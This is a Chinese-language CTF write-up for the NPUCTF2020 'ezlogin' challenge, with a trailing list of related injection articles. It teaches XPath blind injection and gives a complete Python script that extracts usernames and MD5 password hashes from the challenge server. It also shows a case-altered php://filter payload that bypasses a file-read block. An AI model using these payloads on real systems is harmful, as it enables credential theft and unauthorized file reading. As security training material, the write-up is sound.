[NPUCTF2020]ezlogin (xpath盲注)

简介: [NPUCTF2020]ezlogin (xpath盲注)

前提知识

xpath基本语法

表达式           描述

nodename    选取此节点的所有子节点。

/                    从根节点选取。

//                    从匹配选择的当前节点选择文档中的节点,而不考虑它们的位置。

.                     选取当前节点。

..                    选取当前节点的父节点。

@                   选取属性。

路径表达式     结果

bookstore       选取 bookstore 元素的所有子节点。

/bookstore    选取根元素 bookstore。

注释:假如路径起始于正斜杠( / ),则此路径始终代表到某元素的绝对路径!

bookstore/book    选取属于 bookstore 的子元素的所有 book 元素。

//book    选取所有 book 子元素,而不管它们在文档中的位置。

bookstore//book    选择属于 bookstore 元素的后代的所有 book 元素

//@lang    选取名为 lang 的所有属性。

通配符                 描述

*                           匹配任何元素节点。

@*                       匹配任何属性节点。

node()                  匹配任何类型的节点。

没有注释,不能像sql一样,用注释杀掉后面语句

xpath注入基础

见上篇文章

浅谈Xpath注入漏洞_coleak的博客-CSDN博客

' or 1=1 or ''='

']|//*|//*['

 

//users/user[loginID/text()=''or 1=1 or ''='' and password/text()='' or 1=1 or ''='']

[NPUCTF2020]ezlogin

信息收集

main.js

1. var data = "<username>"+username+"</username>"+"<password>"+password+"</password>"+"<token>"+token+"</token>"; 
2.     $.ajax({
3. type: "POST",
4. url: "login.php",
5. contentType: "application/xml",
6. data: data,
7. anysc: false,
8. success: function (result, status, xhr) {
9. if(result == '成功'){
10. window.location.href = 'admin.php';  
11.           }
12.           $(".msg").text(result);
13. 
14.         },
15. error: function (XMLHttpRequest,textStatus,errorThrown) {
16.             $(".msg").text(errorThrown + ':' + textStatus);
17.         }
18.     });

直接访问admin.php被重定向到index.php

提交后抓包看看

X-Requested-With: XMLHttpRequest

Content-Type: application/xml

这里看到XML自然联想到XXE和Xpath,再一看应该是xpath

Xpath盲注

尝试万能密码,非法操作

判断节点数测试

1. 'or count(/)=2  or ''='     ###根节点数量为2
2. 'or count(/)=1  or ''='     ###根节点数量为1

正确的时候返回非法操作,错误时显示用户名或密码错误,典型的盲注特征

抓包看看提交的内容编写payload

<username>'or substring(name(/*[1]), {X}, 1)='{Y}'  or ''='</username><password>1</password><token>{token}</token>    //这个playload会返回第一个节点的名称

在<username>里面的{X}中的X是一个变量,它指的是查询的元素X个字符,Y也是一个变量,是指我们猜测的字符,如果X=Y那么就会返回true,对应的我们的题目就会返回“非法操作!”

要注意的是,因为页面会不断的刷新,这个token的值也会一直变化,所以我们要保证每次请求数据都要拿到最新的token,name函数返回的是这个节点的元素名称。

去前端拿到token,生成正则

find = re.compile(r'<input type="hidden" id="token" value="(.*?)" />',re.S)

盲注当然要用py脚本

1. import requests
2. import re
3. import time
4. 
5. session = requests.session()
6. url = "http://d892dbc8-6dca-4922-b353-a9322a234bc0.node4.buuoj.cn:81/"
7. chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
8. head = {
9. 'Content-Type': 'application/xml',
10. "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
11.         }
12. find = re.compile(r'<input type="hidden" id="token" value="(.*?)" />',re.S)
13. result = ""
14. #猜测根节点名称
15. payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"
16. #猜测子节点名称
17. payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"
18. #猜测accounts的节点
19. payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"
20. #猜测user节点
21. payload_4 ="<username>'or substring(name(/root/accounts/user/*[3]), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"
22. #跑用户名和密码
23. payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"
24. payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}'  or ''='</username><password>1</password><token>{}</token>"
25. 
26. def get_token():     #获取token的函数
27.     resp = session.get(url=url)  #如果在这里用headers会得到超时的界面
28.     token = find.findall(resp.text)[0]
29. #print(token)
30. return token
31. 
32. for x in range(1,100):
33. for char in chars:
34.         time.sleep(0.2)
35.         token = get_token()
36.         playload = payload_password.format(x, char, token)   #根据上面的playload来改
37. #print(playload)
38.         resp = session.post(url=url,headers=head, data=playload)
39. #print(resp.text)
40. if "非法操作" in resp.text:
41.             result += char
42. print(result)
43. break
44. if "用户名或密码错误" in resp.text:
45. break
46. 
47. print(result)

这里时间睡眠需要在0.2或者以上,否则会获取不到token而报错哦;

chars可以根据情况调整优先位置可以更快的跑出来

跑出来大概是这样

1. <root>
2.       <accounts>
3.             <user>
4.                   <id></id>
5.                   <username>guster</username>
6.                   <password>e10adc3949ba59abbe56e057f20f883e</password>
7.             </user>
8.             <user>
9.                   <id></id>
10.                   <username>adm1n</username>
11.                   <password>cf7414b5bdb2e65ee43083f4ddbc4d9f</password>
12.             </user>
13.       </accounts>
14. </root>

MD解密cf7414b5bdb2e65ee43083f4ddbc4d9f得到gtfly123

MD5 在線免費解密 MD5、SHA1、MySQL、NTLM、SHA256、SHA512、Wordpress、Bcrypt 的雜湊

登录

Welcome!

ZmxhZyBpcyBpbiAvZmxhZwo=

flag is in /flag

1. /admin.php?file=/flag
2. ?file=file:///flag

用伪协议

php://filter/convert.base64-encode/resource=/flag

依然被拦截

?file=PHP://filter/convert.Base64-Encode/resource=/flag

查看源码获得字符串,base64解密获得flag

目录
相关文章
|
1月前
|
SQL 数据库
20、绕过去除and、or、union select、空格的sql注入
20、绕过去除and、or、union select、空格的sql注入
47 0
|
1月前
|
数据库
15、延时布尔盲注(Post)
15、延时布尔盲注(Post)
26 0
|
9月前
|
SQL 安全 网络协议
命令执行/SQL盲注无回显外带方式
命令执行/SQL盲注无回显外带方式
197 0
|
10天前
|
SQL XML 关系型数据库
【less-5】基于SQLI的SQL盲注常用函数
【less-5】基于SQLI的SQL盲注常用函数
22 2
|
10天前
|
SQL Web App开发 前端开发
【less-11】基于SQLI的POST字符型SQL注入
【less-11】基于SQLI的POST字符型SQL注入
21 2
|
10天前
|
SQL Web App开发 安全
【Less-9】基于SQLI的SQL时间盲注
【Less-9】基于SQLI的SQL时间盲注
11 0
|
1月前
|
数据库
基于时间盲注
基于时间盲注
19 2
|
1月前
|
SQL 安全 关系型数据库
05GET注入-盲注
【1月更文挑战第6天】给单位零基础小伙伴准备的网安入门教程,本教程是基于蚁景实验室搭建,基于自建虚拟机搭建需自行准备前置环境,05GET注入-盲注 ,请遵守网络安全法!请遵守网络安全法!请遵守网络安全法!请勿破坏公共网络网络安全!
|
1月前
|
SQL 数据库
小课堂 -- 时间​​盲注和Bool盲注
小课堂 -- 时间​​盲注和Bool盲注
11 0
|
1月前
|
关系型数据库 MySQL 数据库
Mysql注入 -- 布尔注入
Mysql注入 -- 布尔注入
21 0